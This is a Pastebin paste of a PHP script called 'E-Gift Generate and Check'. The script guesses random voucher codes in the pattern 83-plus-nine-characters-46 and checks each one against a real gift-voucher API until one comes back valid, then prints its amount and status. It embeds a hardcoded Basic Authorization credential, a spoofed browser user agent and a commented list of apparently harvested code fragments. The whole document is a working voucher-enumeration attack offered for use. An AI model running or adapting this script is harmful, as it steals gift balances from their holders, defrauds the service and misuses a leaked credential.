Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "###############################\n";
- echo "[+] Name : E-Gift Generate and Check\n";
- echo "[+] Version : 1.0.0\n";
- echo "[+] Author : Humarb\n";
- echo "###############################\n\n";
- /*
- w8m0lavtu
- ew0q8d13j
- pwsstuv55
- geas0c4ri
- 31mvvuh3j
- nfsz49zc7
- mlvje6sy4
- tgkw3t5r1
- */
- function curl($url, $mode = 'get', $post = 0){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)');
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- if($mode == 'post'){
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
- }
- $headers = array();
- $headers[] = 'Referer: https://e.gift.id/u/83w8m0lavtu46';
- $headers[] = 'Authorization: Basic VHRSczgwU2dEd0VjSVpMdnliZGRYS2RmaTpJWFVseHQ1cEdjNUZVRXZKY1JNdnpiTUFHanRHNk5nU0tYZm16SzBiUE1iVjhjcGVPUQ==';
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- $result = curl_exec($ch);
- echo curl_error($ch);
- $info = curl_getinfo($ch);
- curl_close($ch);
- return array($result, $info);
- }
- function randomPassword() {
- $alphabet = 'abcdefghijklmnopqrstuvwxyz';
- $pass = array(); //remember to declare $pass as an array
- $alphaLength = strlen($alphabet) - 1; //put the length -1 in cache
- for ($i = 0; $i < 9; $i++) {
- $n = rand(0, $alphaLength);
- $pass[] = $alphabet[$n];
- }
- return implode($pass); //turn the array into a string
- }
- $getVoc = false;
- while(!$getVoc){
- $gift = randomPassword();
- $randOne = rand(0,9);
- $randTwo = rand(0,9);
- $same = true;
- while($same){
- $randKeyOne = rand(0,8);
- $randKeyTwo = rand(0,8);
- if($randKeyOne !== $randKeyTwo){
- $gift[$randKeyOne] = $randOne;
- $gift[$randKeyTwo] = $randTwo;
- $same = false;
- }
- }
- $egift = '83'.$gift.'46';
- $curl = curl('https://api.gift.id/v1/egifts/detail_by_code/'.$egift);
- //var_dump($curl[1]);
- //echo $curl[0];
- echo $egift.' : ';
- $egiftJson = json_decode($curl[0], true);
- if($egiftJson['message'] == 'eVoucher not found'){
- echo $egiftJson['message']."\n";
- } else {
- echo $egiftJson['amount'].' : '.$egiftJson['status']."\n";
- $getVoc = true;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement